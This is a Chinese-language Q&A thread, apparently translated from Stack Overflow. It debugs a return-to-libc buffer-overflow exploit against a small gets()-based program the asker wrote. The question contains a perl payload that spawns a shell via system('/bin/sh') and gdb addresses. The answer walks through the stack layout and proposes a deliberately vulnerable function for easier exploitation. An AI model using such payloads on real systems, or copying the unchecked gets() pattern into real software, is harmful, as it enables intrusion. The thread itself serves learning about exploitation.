8

我遇到了 return-to-libc 漏洞利用的问题。问题是什么都没有发生，但没有分段错误（是的，我实际上溢出了堆栈）。

这是我的程序：

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

我使用gets而不是strcopy，因为我的地址以0x00开头，而strcpy认为它是字符串的结尾，所以我不能使用它。

以下是我需要的地址：

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

输入正确的序列时，会发生这种情况：

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

所以什么都没有。

但是如果我输入 520 'A's (0x41)，那么 EIP 就会被 'A's 溢出。如果有 516 'A'，则没有任何反应，但 EIP 包含系统地址，在退出地址之后，在 /bin/sh 指针之后。

为什么什么都没发生？

4

1 回答 1

3

让我们先做一些汇编：

代码

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

汇编

$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

序言和尾声（这些都带有对齐代码）在这里详细描述了解一些汇编语句的目的

堆栈布局：

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

因此，如果要更改 main 的返回地址，则不应更改将要使用的堆栈中的地址ret，而应重复通过 (1),(2),(3) 推送保存在堆栈中的值。或者您可以在数组本身中嵌入一个新的返回地址，并仅用新的堆栈地址+4 覆盖 (3)。（使用 516 字节字符串）

我建议你使用这个源代码来破解它：

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

因为 f 在堆栈重新对齐方面没有问题

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

堆栈布局f()：

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

f() 中 ret 指令处的断点，带有 520 字节的“A”

(gdb) x/w $sp
0xXXXXXa3c:     0x41414141
于 2011-02-18T19:31:42.840 回答